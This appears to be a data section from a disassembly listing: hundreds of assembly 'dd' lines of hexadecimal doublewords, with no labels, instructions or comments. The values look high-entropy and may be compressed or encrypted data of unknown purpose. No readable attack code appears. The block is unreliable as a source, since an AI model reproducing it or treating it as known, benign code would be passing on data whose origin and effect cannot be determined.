		dd 94A0048Dh, 0C1809E50h, 0B9FC1FC4h, 0CE60809Ch, 0D276BC1Bh
		dd 9FCD6812h, 0CBBD3805h, 0BBAE08C1h, 99CE1820h, 60D424FCh
		dd 2A1968B7h, 0E7CB68C7h, 8070B253h, 9A51FB0Fh,	3ECDF0D8h
		dd 0F80F895Ah, 570AF72Fh, 715089E8h, 0D1D3E40Eh, 50F21DF4h
		dd 0D0C3C5E4h, 0CBA50E00h, 0D6D9E287h, 1097CC1h, 562B13A1h
		dd 0BA58BEF3h, 686C0540h, 8C45CD5Ch, 18C0D3E9h,	9A9D67h
		dd 0D63E5F8Bh, 41FE6AD9h, 0FA0DFB00h, 3FDF66C6h, 88CB0EF8h
		dd 61C09BBBh, 0E8B3B418h, 0A27D358h, 0C8432999h, 125EE488h
		dd 0A59C0447h, 4853EB85h, 0C0621452h, 0C050EA58h, 5094692Ch
		dd 60A846h, 0B002909Eh,	388BA61Bh, 1333B900h, 86235F99h
		dd 0F8E70646h, 3064AF69h, 34F00CB2h, 1B58B260h,	30490471h
		dd 4B10F340h, 27039499h, 881E83F4h, 0FA9003AFh,	5C80CD8Fh
		dd 0F78D08Ch, 5305F6A5h, 868D778Ch, 94B5B400h, 5A3276B8h
		dd 0F08CF43Bh, 0A3291502h, 81D174F3h, 0D72C76ACh, 0A422DCD1h
		dd 0FCF742C0h, 3659C11Dh, 0E18041F8h, 60A835B9h, 9B40E634h
		dd 7A230F5Eh, 68822A38h, 1C6BBFD8h, 0CD9004DDh,	220801Ah
		dd 9100B7C6h, 0F965DF8Eh, 5C3774Bh, 800F76CBh, 0F04030B5h
		dd 3D662CF3h, 2E185860h, 8B68DD61h, 0DC8383FCh,	0D0F55D76h
		dd 36F38450h, 5F306564h, 0F54C10F0h, 85B2D840h,	0ACED120Fh
		dd 56A1161Dh, 0CE50083Ch, 0A6294CC0h, 0C5060066h, 841152E9h
		dd 0E53162A5h, 0F6C6F035h, 2443E464h, 2A0051F8h, 0CD363AA0h
		dd 0D91E127Bh, 0DC449213h, 2BC85F02h, 0EB8E6884h, 5D723002h
		dd 1180680Fh, 895201A6h, 76E649B5h, 0BAC434F1h,	0C7CD9B01h
		dd 73F3FFA4h, 0CE48C64h, 0DD0F403Ah, 227D9EB9h,	1F77600Ch
		dd 26CC38A9h, 0A498454Eh, 23828A2h, 8C32DC3Fh, 0E4C0934Ah
		dd 0BB80EE11h, 0F081DB3h, 0B8D052B7h, 0B16D112Ch, 553690Ch
		dd 0D44C51B0h, 211D8718h, 5804606Ch, 2D249F4Ch,	0D2DD00F6h
		dd 0E8EE7769h, 2CA42894h, 9268CC05h, 0BC86F490h, 161094B8h
		dd 7614077Fh, 0B4309C60h, 77058405h, 648017C0h,	4754073h
		dd 1569F4C6h, 0C49C9095h, 0F8BAF608h, 4C31F74Bh, 8034DD1Dh
		dd 0EC0D5241h, 82A5760Ch, 0F54AD020h, 9841340Dh, 7F097422h
		dd 4030AF15h, 20A01041h, 0BF506E0Eh, 7F01F80Ch,	776DA4C3h
		dd 0B5003CF3h, 2100C298h, 7F4BA50Dh, 58345C9Fh,	460110D6h
		dd 0F34F2BD5h, 84002F05h, 0F1803CE4h, 0CF1D15DBh, 0C5C8C3Fh
		dd 78AD7F10h, 602F806h,	17E8CAD2h, 0E04AF3FCh, 1E18016Ch
		dd 0F4E937B9h, 43D40038h, 72D5FDBAh, 849CC55h, 80251ED8h
		dd 0A608513Ah, 4B41ECA8h, 60C0F99Ah, 9C1E101Dh,	72FD0B71h
		dd 0F9CC1010h, 0B44B00A6h, 9C8CB708h, 0E0A2470Dh, 3CA0904Ch
		dd 6D803701h, 0F9950008h, 7C09F3E3h, 0AB0CD697h, 20453176h
		dd 6B4A133h, 7C546028h,	9C51749Eh, 0E7CCA30h, 0E483D312h
		dd 0E6C71698h, 0F328110Eh, 47095046h, 5B6768h, 9C24090Ch
		dd 0B6B10B30h, 5820E21Ch, 0C4F421Eh, 611D5CAEh,	24603777h
		dd 84AD3h, 9839B2D0h, 6B4AD21Eh, 130D5805h, 6E3EB0C0h
		dd 705F13D5h, 141351h, 0F542270Ch, 7A0A257Dh, 0D06688F3h
		dd 17D5330Fh, 0BE1B7C71h, 10F2024h, 0A140E3D8h,	61FC1F56h
		dd 76802450h, 532920h, 0AF5283ACh, 2BF3F8CEh, 0F7481D61h
		dd 0B073A0BAh, 56539C00h, 5E26071Ah, 7FDBAE1Fh,	536424h
		dd 7EEB8CD8h, 0AEC625F2h, 29730501h, 0A89F6C78h, 475C042Eh
		dd 6E4081BEh, 49F602D1h, 69103F94h, 9CA0ED5Fh, 0E896DBCFh
		dd 0C8C0ABE4h, 4878CD03h, 6ECB6845h, 496CC98h, 0B877AB80h
		dd 2FE72044h, 98D9C480h, 0A0ADD9CCh, 0A7DB12CDh, 4B7C005Ah
		dd 25E7EA6Eh, 7B1BD802h, 502755D9h, 6BA530E0h, 537A1EF4h
		dd 3BFBEB74h, 0D4FB680Ah, 509D7242h, 48763F2Ch,	306C39E0h
		dd 5F303A0Dh, 8F390CBh,	7D250263h, 1DA176BDh, 0D0071078h
		dd 0C04267ADh, 4ACE9081h, 40EC1871h, 3D84A4F6h,	780E156h
		dd 0A091B27Dh, 84306F09h
		dd 0C41B895h, 0FFA0132h, 0A76A5EE7h, 0C0B9E0B5h, 225F1F14h
		dd 9DF70008h, 0B6575D10h, 68C11A7Eh, 7848618Eh,	0A512169h
		dd 0A684F8A0h, 9C86DA01h, 0F1F4DC7Eh, 0A22C34h,	2706EC4Ah
		dd 0C43999C5h, 0C1005BE0h, 0CF616687h, 79084A2Ah, 231D1245h
		dd 1A148026h, 0D200DE02h, 0AF19E61h, 7965BEE4h,	0CD762563h
		dd 64906858h, 69006170h, 7414040Ch, 267764C4h, 82DC51CBh
		dd 2F57D38Ah, 46CFEC68h, 0C263898h, 0F891D472h,	1E98249Fh
		dd 5E10F006h, 430EE16Ch, 0BEC0CD0Eh, 68822410h,	8480D553h
		dd 52175F62h, 6039842Ch, 0C1035409h, 59ACB158h,	0EA4B8014h
		dd 5DC7E13Eh, 0AF4E0417h, 7C0BD056h, 3EE024FCh,	729DAC81h
		dd 0A5004868h, 0EF27958Ah, 0E4EA4C0Eh, 2E0F9102h, 0E26ADC26h
		dd 436491E0h, 0B47F9420h, 0AF980C24h, 0C65DD518h, 0C0FB1600h
		dd 0F0401C00h, 3E57CF7Fh, 6F130F69h, 0F5EC42B9h, 0B0C82A76h
		dd 149B667Dh, 0CC9A048Ah, 0AF72F103h, 6D6D0E7h,	0B76801A6h
		dd 0F3CDC818h, 493C2243h, 69406144h, 88402586h,	611DDA59h
		dd 0B56889B7h, 0B3080E3h, 52CB2975h, 0F8A4607Bh, 71D75709h
		dd 74AD0F00h, 0F6B58AC0h, 0E27DF252h, 47580765h, 0C00770F9h
		dd 37E662CFh, 9F1238B0h, 473FDh, 0B503A2F3h, 8125E3E9h
		dd 3F648253h, 0C07200F4h, 0BE164B99h, 0B4A0EF76h, 0CE603C65h
		dd 47FF6A17h, 0CBB34B58h, 61731090h, 0EA558h, 0D3051140h
		dd 98EB1DDh, 67196824h,	9F24E0E6h, 57930418h, 10EDCF0h
		dd 7153D4ADh, 34B29B1Eh, 0DB01BD08h, 0BBCF1108h, 0E052C6D7h
		dd 0EF200F30h, 879B7B04h, 7404A575h, 2B80B35Ah,	135A4B0h
		dd 0A6129467h, 0D43416CFh, 85775415h, 3FB16813h, 0E49D644Ah
		dd 26D90B4Fh, 0CA9FBDCh, 0E2CBF3F0h, 0DE480620h, 2D64D08Ch
		dd 0B718601Eh, 22D4146Ah, 0E909898Eh, 9045092Eh, 8108F400h
		dd 2765B6B7h, 0CD8A5F8h, 0E0530B4h, 0CA0791Eh, 909EF8FBh
		dd 0F58C0120h, 19F3FA70h, 0B2944063h, 69000387h, 0D89BBB6Ah
		dd 0C65AB0h, 0F7D36FB3h, 586C9E60h, 25BC4A02h, 0D827F4D0h
		dd 685E0388h, 51723422h, 455C83A9h, 96647780h, 8F008186h
		dd 98CB6A5Fh, 409FC8h, 6010BDFFh, 4E22B76Fh, 0B860B64Bh
		dd 7FEEE64Bh, 25FF166Ch, 1E3D07D1h, 295590E8h, 0BC9CF381h
		dd 1D648B01h, 0C3094F8h, 741A0205h, 2209681Fh, 7D404808h
		dd 1A6AECDh, 6C4FA711h,	8087A51Eh, 97CBF7A0h, 385ACCEh
		dd 0F3C1EB12h, 0B4A4B57Ah, 0BC185508h, 90A86F08h, 0EC772068h
		dd 870A9B3Dh, 0AD69A943h, 0E17E5C3h, 22596478h,	5B734C81h
		dd 0B63F30B3h, 96F9800h, 0BBF39FEEh, 0DA60C0C1h, 0C334058Ah
		dd 0B9EB700h, 4BC03F67h, 0A6DD1F99h, 0D680B913h, 58E0639Dh
		dd 7660ADF3h, 617E0F38h, 7405009Ch, 1049B79Fh, 0DA011141h
		dd 0CCA8EDAFh, 9078B1B4h, 5789033Dh, 0E4A8ACD1h, 0A82619D8h
		dd 0F51EF965h, 0F3845366h, 60167AEBh, 0E8007FF5h, 4B637E05h
		dd 12A4A496h, 34CDA0CCh, 0D7C402D4h, 7BC096BAh,	4C004FEBh
		dd 895D0FE8h, 7EC4341h,	1E0811C1h, 488019C7h, 249EE2DAh
		dd 51D9C61Eh, 184F9052h, 0CC60D044h, 136BA608h,	0C2DC56C2h
		dd 0D004185h, 1DD32084h, 5CC4801Ah, 403A7EA1h, 0B89732F3h
		dd 203C7850h, 7610AE06h, 0A500FB26h, 0E69232DAh, 0DE095336h
		dd 0E02768D4h, 0A063A0h, 761AC94Bh, 0DFD2D3A5h,	0B9882450h
		dd 48548240h, 7F8F04E1h, 8894F58Eh, 1D1E0A09h, 0BD9C2420h
		dd 0A04C9BEDh, 56AD0004h, 0D265FB15h, 70B0CDh, 2CA383FFh
		dd 0A5FCC911h, 0FD2D7F0Fh, 0E9CC00AAh, 0A0C4B91Eh, 4BBAD90h
		dd 0B46869DFh, 0C1AC8042h, 84541E7Dh, 0EF09EA80h, 1189616h
		dd 9D8B1B8Ch, 3860B5D5h, 0C60D07D4h, 8053E574h,	80BAC7C0h
		dd 8C577630h, 0BA0E25F3h, 0CCF52084h, 46FC7100h, 0C6C5ED0Fh
		dd 0C0F31825h, 750554CFh, 0AC4CB703h, 8BE8F81Eh, 80F9A661h
		dd 802637D8h, 80FE53E4h, 0F6E93C94h, 17500EA0h,	0E367B762h
		dd 11596C43h, 2AF308CCh, 0D9560CECh, 1441C810h,	4A4CE840h
		dd 0B242059Ah, 0CE4E51h, 6837E5C4h, 195398Bh, 0DD277708h
		dd 282DDCF1h, 3C88092Ch, 9C60817h, 40442118h, 0A4026FE9h
		dd 0F02B710Bh, 0B1400054h, 69DD4B96h, 1C9A1DF7h, 453C6D09h
		dd 0A97C8FDAh, 0F9F4E056h, 0A098834Dh, 24B00F29h, 9928D540h
		dd 2C09A714h, 0CD077440h, 26E2227h, 79DF56C4h, 0CF990004h
		dd 0F355C0F6h, 7680D7FAh, 43404FA0h, 0C5204ED8h, 23E94BF8h
		dd 0E083B01h, 0C4557D26h, 1C48E82Dh, 92672A04h,	0C55A00BAh
		dd 1DC01A4Fh, 1DCF546h,	0A76E6DAh, 7E9442D3h, 0F3C18463h
		dd 63C46421h, 431E5090h, 0D3816807h, 756E4C03h,	98D231ECh
		dd 0D4AA3018h, 0D50EBFB8h, 77802804h, 18A886D1h, 0CCE008D2h
		dd 0A7C429AFh, 9F07CB6Ch, 775215C0h, 74019D41h,	651C69E7h
		dd 296065DCh, 0A2670218h, 5141FAD2h, 0B0A0B0h, 12A4EA02h
		dd 0C9459F73h, 1E8FC104h, 9B0084FCh, 1CA66775h,	726D4C00h
		dd 0DEE24516h, 81F410D9h, 9EF73506h, 59EF6044h,	0B13A9D01h
		dd 41AC70E9h, 90D809Ah,	209C631Eh, 60E3CAEBh, 14CD66D9h
		dd 0C614C83h, 9E9F4A01h, 0FB325747h, 4B03FEC8h,	4C2CF94Dh
		dd 4DB90ECEh, 76678FA5h, 40D18100h, 9682FBh, 3F5794BDh
		dd 0E7924BF8h, 6773AB01h, 54C44ABFh, 241EDAC4h,	83089677h
		dd 0CDF4D325h, 2976A109h, 0BEC8A22Dh, 0BB8597Dh, 0A4126DA5h
		dd 0EA0930D0h, 68351EBAh, 9F324h, 8A07D6E8h, 6E683057h
		dd 6730CC60h, 8F1A5Fh, 0C1DCDA7Eh, 8AA602F9h, 0D41AECAAh
		dd 7E33FC41h, 68D36001h, 209EB465h, 8222762h, 0F0E081A7h
		dd 0C1D31FEAh, 8B4DF00h, 0F1A9B369h, 30781422h,	0CCB1F16Eh
		dd 0EC584908h, 0CE360020h, 0C020A41h, 0EF281F78h, 0E1CB8005h
		dd 44205EBDh, 0A17D307h, 101E2A1h, 66204062h, 65E80BACh
		dd 0C8C0FDB2h, 0FA176D16h, 0B0F06A1Dh, 0D6F42C09h, 8AF787C0h
		dd 9C934B58h, 0AC5280C1h, 0A116B811h, 2EB628A4h, 0E954BE4Eh
		dd 1D17B4C6h, 78409065h, 0EA26964Dh, 88D24B8Ch,	21029B40h
		dd 0B3B0F6F3h, 0D340C0DDh, 6284A032h, 0A834540Fh, 0F4CD5D7Fh
		dd 0A2CE4BC5h, 30B348CCh, 870F685Fh, 1ED53CBCh,	20F12893h
		dd 7653F440h, 540982FAh, 81AA8DC3h, 0CB0E9394h,	285CC42h
		dd 0AB02A42Eh, 1E0860BDh, 1D20C21Bh, 44C0FADBh,	870FB2F8h
		dd 166D829h, 0B3E2C139h, 97C0EFD1h, 0F66303A5h,	0FF701E0Eh
		dd 0C3983000h, 0F39A9DE5h, 0F4009726h, 72FE3CAFh, 90E30A2Dh
		dd 0BED2F374h, 5C9C0008h, 1BFA3EC7h, 954B7A1Ch,	0F9ADA641h
		dd 0B03841EBh, 0E0E759A0h, 0BC495Ch, 0A2209E11h, 4EF0C40h
		dd 776AE2C2h, 0ACFCADh,	12C6696Dh, 1040B9h, 0B76F960Ch
		dd 7DD36B5Eh, 689CCC04h, 38A4D9E9h, 91D02E45h, 0D26D0B88h
		dd 6FE0B4C3h, 920F0BA1h, 856065F6h, 58D27976h, 135C50CDh
		dd 0F088691Dh, 8A7F4B34h, 9CD5D092h, 0CF7A007Ch, 61E6C0C9h
		dd 1654B20Fh, 0D7A94C76h, 27C5A31Ch, 6439F3F8h,	31DE40C1h
		dd 0EAE8F740h, 0FD8325B3h, 0E092D843h, 0D5C3A082h, 0E4245E02h
		dd 5868B6B4h, 4E4832DEh, 911D0BD8h, 0B27CC402h,	9C24B8F0h
		dd 0C67644E8h, 0D2649860h, 1097FC96h, 6348CBB2h, 26F1F030h
		dd 6B200477h, 8280DCC9h, 4A005858h, 3D4FB72h, 0C21F601Dh
		dd 5904E073h, 54A6F8B7h, 0F3F59880h, 1809634Ah,	88128406h
		dd 18B07E03h, 2B50301Eh
		dd 69771A39h, 885A59h, 9EFF9D63h, 9229F3CEh, 1E0F0BCCh
		dd 8CAE55F2h, 74A40629h, 9AB8BCB4h, 12ACF660h, 84EC0BAAh
		dd 0DC5C5012h, 0D0E6EF12h, 9B4DF704h, 2409929h,	0D000928Ch
		dd 0C052FD68h, 0A684CB50h, 1E12B8D2h, 0E8D8B1A1h, 72BCA243h
		dd 0F6252014h, 1F687B09h, 6F3C20C6h, 0B026688h,	47A91DB8h
		dd 0B601B4E4h, 0A37A09FAh, 7ED463D8h, 825400DEh, 89C1E2D0h
		dd 4E0067A6h, 945759CAh, 98C51F9Fh, 0BA4A0078h,	86A5DA0Fh
		dd 9E07B920h, 1E88CBBFh, 7DC5869h, 0A4F7F343h, 2468CB18h
		dd 205B9776h, 1E02D020h, 12449EE0h, 0DC56FBC1h,	0AD1D3C60h
		dd 6874BE95h, 4556C0B8h, 0EF61C2E9h, 0E632F3E8h, 2E00186Ch
		dd 2A63ECE4h, 2B04DE28h, 0B17268B8h, 7C7C488h, 1C22A9C8h
		dd 866E8073h, 3307FF18h, 7768F7BBh, 25A83DF6h, 0DCC0F5BAh
		dd 2D0E60D9h, 0C0F381E6h, 0AFE3D0A5h, 0F4120286h, 0CAC175BDh
		dd 749DCC0Eh, 0E8F550A9h, 8AA5809Ch, 2FE899h, 0A67FEE8h
		dd 822C2C1Eh, 0DBC080F4h, 0DECD02F4h, 60FB150Fh, 0E9AD609Eh
		dd 0CD3A5FDh, 0EA82633Ch, 0F000AEC0h, 0D1DE279Ch, 16012969h
		dd 4D3BBA6h, 14FCF7Ch, 0E10957D9h, 400C4474h, 4A00FE7Bh
		dd 3FF04099h, 8C7DECh, 98B680C1h, 1A481059h, 1E90D409h
		dd 0AA28400Eh, 51D4A01Dh, 0CBEA809Fh, 0FD13C0BBh, 0ABC568A7h
		dd 4CCC576h, 0B38400h, 0A65E7FA5h, 0CB6902E0h, 0F40CF8Ah
		dd 0B0EA7C56h, 0FDDCE925h, 77160B08h, 70E0C725h, 0EAD6409Dh
		dd 1003EE2Dh, 2DE8490Ch, 14801556h, 0C8F268D2h,	0DF8824BEh
		dd 94B50020h, 11BDA591h, 150FA17h, 301D10D8h, 0A9F820E7h
		dd 234C5F18h, 0F84082ECh, 6F8680Bh, 9AA0BEDEh, 4CD071DBh
		dd 0FF138499h, 10CB6E12h, 41FDC01Ch, 6BF41133h,	16B83421h
		dd 456EFE01h, 2D8A68B5h, 1764E840h, 0B46A7D1Eh,	69F807FCh
		dd 0CD6590F6h, 0CCA882A6h, 8E98F081h, 2C89A724h, 9E35F380h
		dd 9FDBD69h, 0C4DE4603h, 57889822h, 9D422076h, 9963C0F8h
		dd 631D2DDBh, 42B05CC3h, 0E37991C4h, 2288969h, 464346CCh
		dd 0C7762EE4h, 0F7D28370h, 0E3B8A19Dh, 0A6001E1Fh, 4ABD0E6Eh
		dd 987CB3B8h, 85074E6Ch, 0C110203Ch, 55129DE6h,	3090DFA9h
		dd 28F33DC4h, 82882073h, 0E898F09Eh, 5480C5F0h,	0B80C806Eh
		dd 5F0065FCh, 91DBE46Ah, 7DE7C10Fh, 90F56976h, 0D49CF8CCh
		dd 0D9BC096Bh, 0A9C4085Ch, 3136DA80h, 13BBC3EEh, 4B46D4E7h
		dd 6416B538h, 4C73B25Fh, 0F7081D7Eh, 5DD1C6E4h,	76131080h
		dd 0B8B4BD0Dh, 0CB420AA6h, 6801CF8h, 0E967F33Eh, 0C31F9E00h
		dd 5A68924Bh, 0A66300F6h, 2164F2CFh, 8B77535Dh,	2F9C009h
		dd 0D2A889ACh, 9D8704B8h, 27E08F7Dh, 0C964E910h, 69E60701h
		dd 0C0C26C5Fh, 4FCBD5A2h, 680DD227h, 70859974h,	0E4801FEh
		dd 50B21657h, 5CFAECh, 53094D1Eh, 870E0h, 8A6C56DAh, 62867E0Dh
		dd 0FB17B70Bh, 136C1B08h, 0E1C45110h, 933F2164h, 90886769h
		dd 0D9A9406Ch, 19CB5B12h, 0D0648C45h, 9A428700h, 649D1E06h
		dd 0A0FD58C1h, 743769D8h, 7F8168B0h, 0EC489EB8h, 2C8648CBh
		dd 58563E18h, 9B26B904h, 3A1693FBh, 0FC5DA412h,	14F95149h
		dd 972D25F0h, 48E2C8E4h, 0BC98F14Fh, 0ABDC2811h, 0A80324B8h
		dd 679489E8h, 6B07400Fh, 387B82CBh, 0D1787472h,	0EB301D27h
		dd 4CF7A884h, 1C77E416h, 4CF0B923h, 0D0704ACEh,	7653F304h
		dd 548C83A6h, 0AB298496h, 9A00F415h, 8F34557h, 79AD04C0h
		dd 0C06B5963h, 6ECD0568h, 0A1C36400h, 50954BE2h, 0F55B0018h
		dd 59B1D2A5h, 0F3274870h, 70081CCh, 78DC2BE2h, 2A6827B7h
		dd 0C747842h, 0A58ABC26h, 0F3044884h, 0C21FF8BCh, 9A4BF7B9h
		dd 0E4085089h, 7D9E8914h, 0D6021405h, 7013B9B8h, 1C5D28DFh
		dd 3A9C6814h, 0B8D43366h, 0CCF8B44Bh, 8994F093h, 7D80AF0Fh
		dd 1C6B00FEh, 2C566662h, 81247053h, 0EC48B6FDh,	94BC3C5Eh
		dd 8A82817Ch, 1B3062ADh, 2CE4001Ch, 0E22DAED1h,	0E7606BF3h
		dd 15B9F7B8h, 1D0499CBh, 1014DA76h, 58106C54h, 9733BF00h
		dd 0C3B37017h, 2EB44Ch,	7D898B5h, 5BF3C5E7h, 70E01426h
		dd 669A4700h, 3D02F1D4h, 3B3CD0F2h, 4BF989DFh, 1240D29Fh
		dd 4583711Eh, 91BBCE38h, 2E720A10h, 0F8C1FC40h,	0F0DEA176h
		dd 60A19FDCh, 37330CCh,	42A0EA69h, 42545E74h, 68C8BD76h
		dd 0F448271Dh, 0C8163B9Ch, 0F9680A30h, 779FD0D4h, 0B6128068h
		dd 54E24E2Fh, 0EF545780h, 7E04E253h, 7FFD6473h,	549ADCB0h
		dd 1CFF855h, 0DBC296Ch,	832CE5F4h, 0C47ECC50h, 0D3A00435h
		dd 0A05676E6h, 309DCDF0h, 63EBCC60h, 7181C990h,	1B47825h
		dd 98F91870h, 0E6B0D441h, 0F0665E01h, 0C5C226Eh, 1DD709BCh
		dd 0F69C61FFh, 4016D470h, 647BCC3Bh, 0FBE9BC0Bh, 19047061h
		dd 0C0AC88C1h, 0F1C070FCh, 513CA00h, 40D40C62h,	8C38B911h
		dd 0FEA9C524h, 0F316A49Ch, 0AB826400h, 31BBD5Bh, 63E94B76h
		dd 9DD462Ch, 74667CE4h,	94889495h, 68676090h, 0F092C0A3h
		dd 525DE506h, 198AE8Ch,	0CACF653Ah, 89F74AF3h, 815BA630h
		dd 701BD45Fh, 0CB1EBDF0h, 0FCE4A218h, 0E9C16771h, 0BF367766h
		dd 4BB0453Fh, 0A714009Bh, 0E154CE6Ch, 84F25781h, 0A8C0CB8Ch
		dd 9E2544A1h, 38E627C8h, 7002094Bh, 5A627799h, 0B16E008Ch
		dd 4BA8BB6Bh, 0F900E071h, 7A25CC09h, 0D2740565h, 30981381h
		dd 1A28A198h, 0BBB81002h, 0FEFDBE68h, 58C8BE04h, 0D198C185h
		dd 60F0F554h, 5F0029BCh, 448A421Ch, 3E2133D5h, 0E1690B77h
		dd 2F20246Ch, 80D100AEh, 4803D7F7h, 0D8C353C1h,	0BCB328F3h
		dd 3BF03C00h, 0EC301DF9h, 0D0997032h, 0B47A0013h, 0A3569D61h
		dd 9898F65Bh, 27286B72h, 7778D4C1h, 26611A00h, 43576AD9h
		dd 6EB312F8h, 2A02DD3h,	5E001FE0h, 18CCD1Bh, 0FF4905D2h
		dd 0E0D4A5FDh, 500CBBD8h, 281169F3h, 0A6EC064Ch, 0D101EB72h
		dd 9E246520h, 0A889C9B0h, 48BA1820h, 0EC75F7F0h, 0D0247D81h
		dd 0DAE48824h, 7488714Eh, 38C48427h, 508C6B5Eh,	54DB44F8h
		dd 3A10D949h, 0DA945DF9h, 80B44560h, 953D8655h,	0F31287D5h
		dd 8CE20EE6h, 0EB85C107h, 1BF2C2F1h, 7C9EAC79h,	7742C941h
		dd 0DC50BCAEh, 15EE9DAh, 0F7990323h, 0D107F5DDh, 0DEF3C458h
		dd 13FC223Ah, 0ECC84B6Dh, 0F16B4AC9h, 418C029Ch, 0F3E3AC7Ch
		dd 0FC0CFDCEh, 121AD618h, 0A47515h, 0F58B075Ch,	7A57D6AAh
		dd 58760B20h, 0B6500163h, 9DE0AB90h, 9B89294h, 0B4E4F380h
		dd 3C7CFCF2h, 86A57803h, 0DC3A7727h, 0F02F6891h, 0FCC0508Bh
		dd 4D4068D0h, 0B60500EFh, 0E4A1B7A0h, 4C000E38h, 0CF1580E9h
		dd 0D3E861h, 59685F1Eh,	0C0626A33h, 1D13E370h, 984960C5h
		dd 1E385A0Dh, 92534499h, 8BCC0BDAh, 541BE880h, 0F81FCFC9h
		dd 0D07024F3h, 0E1480419h, 0C13801FFh, 0E269E789h, 9CF08077h
		dd 54DE5B44h, 82BC396Eh, 0FAB4AE80h, 1FE8D4Bh, 0A6044607h
		dd 5410D6DAh, 12A79BF1h, 56BFE2h, 0B61CD094h, 4B00E302h
		dd 0EFEEA07Fh, 68ABD2h,	401E558Fh, 6B986FF3h, 585F753Ch
		dd 89320057h, 7E071A10h, 1C78BEDBh, 0ABF14AF3h,	85A200ACh
		dd 1DD492A4h, 0A9F836D8h, 6A5E07FFh, 0D9A28E90h, 1540E8F2h
		dd 25564027h, 0D7AEEE16h, 1794D000h, 0CBF193h, 63CE0913h
		dd 4FE11E03h, 0BCA6F4B9h, 0AB685E80h, 7C910A4h,	6F0A15A8h
		dd 3FF187CDh, 0E0FF17A5h, 285A5858h, 48B5A8C0h,	42D8B0EBh
		dd 2F31FC5h
		dd 0F0888093h, 0C8094D4h, 7D89C33h, 21A41E1Ah, 1D33D680h
		dd 9ECE00E4h, 0CAB7C645h, 0BC09277Bh, 40084C76h, 2EAD8488h
		dd 39343593h, 0C22310h,	839D4C6Ch, 0E6E9C108h, 0CC4B0070h
		dd 0D409F73h, 0A2F0F39Ch, 0DD1ED8C0h, 48A894F9h, 0BD1024E9h
		dd 20FD2401h, 1B9FE407h, 821B6617h, 0FBCA320h, 0C1BD7B4Fh
		dd 0FA4AE3A0h, 4EA878DDh, 8BF3C821h, 90CB304h, 0D0B537F6h
		dd 0EFAF204Ch, 2F94802h, 0F4C2C0D0h, 10690B9Ch,	9130046Eh
		dd 68D3F002h, 18E560C5h, 13E15C73h, 7090D870h, 39F00B0Bh
		dd 0CCC905B9h, 5003A809h, 46561F30h, 91ED0CEFh,	4D045718h
		dd 29510F49h, 0C405F4A6h, 0ACC7EC68h, 0F2A186B4h, 1DC49C99h
		dd 77E068E5h, 287F07F7h, 0C0601CD4h, 59B726Dh, 8054939Fh
		dd 396B65A8h, 0AF8E5FCFh, 0A9C06EB2h, 40CE0712h, 70D9F628h
		dd 0B980437Bh, 0F416029Ch, 0CD97CC0Eh, 90DEACE2h, 42E8D30Fh
		dd 3FC8A8h, 0DD03F405h,	8343F8A8h, 0D1676100h, 0F56BF840h
		dd 76BB0C59h, 0A7580F45h, 20F07F58h, 0CCF60EF9h, 40938E9Bh
		dd 116FA8DCh, 0E4B9F5E3h, 973FF908h, 4CFC6283h,	691C88EDh
		dd 13CCEA15h, 0E8300B12h, 150D7472h, 0A4DD9DBBh, 6A805F2Eh
		dd 0A4B008ECh, 43BE40Bh, 9CE87E08h, 199CDC00h, 0C89A779Eh
		dd 78D530C0h, 828D41F3h, 143FD4DCh, 10F03958h, 0A1789836h
		dd 0B6FDCEECh, 1E0071E6h, 4019AD91h, 0BB884228h, 0DF0F74E0h
		dd 0E6A4A99Dh, 2754B22Ch, 3C81E6CCh, 30294569h,	2313BB94h
		dd 18A74709h, 0D6773C7Ch, 1196F317h, 0B013D0A3h, 132112BDh
		dd 6334E0D0h, 41165F07h, 0B270C57Eh, 0A8973E4Fh, 0E6DA3684h
		dd 0D4A912CCh, 0C9C84049h, 623D1164h, 9445C74Bh, 8C1EBB71h
		dd 25CE7A01h, 613A1F29h, 34997Ch, 3076E3D3h, 0B4182F44h
		dd 4C90CB6Eh, 7D3AB2F0h, 455CADA5h, 0D20C027Ch,	0ACC90DF4h
		dd 8012AF5h, 68451E08h,	0F420247Ah, 2DF94D60h, 0B9DC4F8h
		dd 24984CCh, 78DE02F5h,	48495565h, 69E5E577h, 90A02B4h
		dd 6AB8F51Eh, 70FC9Ch, 318B78Ah, 7713993Ch, 4F5B938h, 1357E8EFh
		dd 0CF8409ACh, 20586268h, 82BC1D27h, 47839Ch, 9FAB707h
		dd 809C0F00h, 410414D7h, 98899DEAh, 0E380688Fh,	856AF6A2h
		dd 80012412h, 76D0080Bh, 5F243DE0h, 0ACBD454Ch,	41280544h
		dd 0D4BCE9EBh, 1884ECB4h, 510F76Bh, 0B8D40168h,	761C1195h
		dd 0CBEC3060h, 6123800h, 185F69CFh, 35CA3925h, 3D043BF7h
		dd 702054DFh, 0A55E10h,	61C3489Eh, 54F49Dh, 6AA60562h
		dd 55C012FEh, 35954B00h, 26E88183h, 7FDFFAD7h, 249C4B52h
		dd 10F8020Ch, 0B84032D5h, 618287B4h, 69096D50h,	5A085C90h
		dd 760844CBh, 0B70032D0h, 2977879Ah, 6861C038h,	0EFE19D3h
		dd 4850DA1Ah, 3C08C129h, 977D9FCh, 111E8D53h, 0BB2D74C0h
		dd 4B258778h, 0AB68C86Ah, 80937D38h, 0C9602F68h, 1B7A4B78h
		dd 0EFCE00C4h, 5ED26765h, 0A378D817h, 1DD3DA03h, 784C2677h
		dd 2F17C71h, 56D9BD9Eh,	0E080D8A4h, 779D731Ch, 2936DB30h
		dd 0B68F267h, 0A3F3EE3Eh, 0BC5434A4h, 680497A4h, 0B09CA559h
		dd 4946408Ah, 0E376F109h, 10A4F940h, 86A58499h,	8C1500B2h
		dd 1E14B884h, 0F10478A1h, 0C16CA333h, 223051DCh, 724D80A4h
		dd 9CDE4329h, 0B7D40BD8h, 3C9954C9h, 0D3017C4Ch, 9403F5FCh
		dd 11F5F816h, 8C1D188Fh, 50A4B3F6h, 63404428h, 971F245Eh
		dd 5FC1E88h, 0B675F0Ch,	0C068FA08h, 0F3550D72h,	545CF6FCh
		dd 776ADB81h, 1D00B83Bh, 1090EBA3h, 9A4C0701h, 0CCADCE84h
		dd 0F50FC8BFh, 0EA800E90h, 3854B32Bh, 6475FE00h, 0D518225Fh
		dd 4099032Ch, 8AF365FFh, 6823AF98h, 7054CAEFh, 4AD4DD02h
		dd 0E38085BEh, 941068E9h, 1FDC40CEh, 0FE6608E9h, 0EB9B07BBh
		dd 60FA5B09h, 53F6D36Fh, 0C8AC797Fh, 0A4F52D2Ch, 2905C8A0h
		dd 4A692819h, 0C100D4A8h, 4B3A7C84h, 0F6013D6Dh, 4803CE2Bh
